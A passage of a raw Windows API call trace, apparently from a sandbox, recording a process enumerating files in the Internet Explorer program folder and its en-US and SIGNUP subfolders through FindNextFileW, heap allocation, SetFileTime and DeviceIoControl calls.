[0087.943] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bca68 [0087.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.944] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.944] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0087.944] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.945] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bca88 [0087.945] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.946] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0087.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.946] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.946] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcaa8 [0087.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1306fe8 [0087.947] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.947] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0087.947] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.948] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.948] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcac8 [0087.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307d50 [0087.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.949] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0087.949] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.949] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.950] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bcae8 [0087.950] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1307e58 [0087.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.951] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0087.951] GetLastError () returned 0x12 [0087.951] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0087.951] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.951] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.951] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0087.951] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0087.951] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0087.951] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0087.951] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3537636, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf3537636, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81b77500, ftLastWriteTime.dwHighDateTime=0x1ca0427, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0087.951] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0087.951] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0087.951] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0087.951] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0087.951] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0087.951] GetLastError () returned 0x12 [0087.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0087.952] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0087.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.952] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a37297, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a37297, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2a5d3f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0087.952] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2be033e8, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2be033e8, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x90894420, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0087.952] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7f46f7c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0xd7f46f7c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0xd7f6d0dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0087.952] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22549a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22549a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb22a0c69, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0087.952] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb22ecf2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb22ecf2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23391ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0087.952] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb273d712, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb273d712, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0087.952] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27a3bdc, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb27a3bdc, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6b1085f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0087.952] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb23391ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb23391ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb23854ab, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x27e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0087.952] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb27fbdf3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb27fbdf3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb27fbdf3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0087.953] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e87a7f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2e87a7f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2eadbdf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa4510, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0087.953] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a5d3f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2a5d3f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2aa96b8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0087.953] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d665b0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d665b0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0087.953] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d8c70f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb8d8c70f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x97045ab0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0087.953] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2aa96b8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb2aa96b8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb2acf818, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0087.953] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4239426f, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x4239426f, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0x67fe631c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x40df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0087.953] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b0ea3c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x68b0ea3c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x68b34b9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x56df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0087.953] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0087.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.953] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files (x86)\\internet explorer\\signup"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files (x86)\\internet explorer\\signup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0087.954] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0087.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132aaa0 [0087.954] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132aaa0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x132aaa0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0087.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132aaa0) returned 1 [0087.954] NtClose (Handle=0x168) returned 0x0 [0087.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0087.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0087.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0087.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.955] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0087.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9bb8508b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9bb8508b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.955] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81351db4, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf227ca87, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22a2be7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0087.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124dd00 [0087.956] 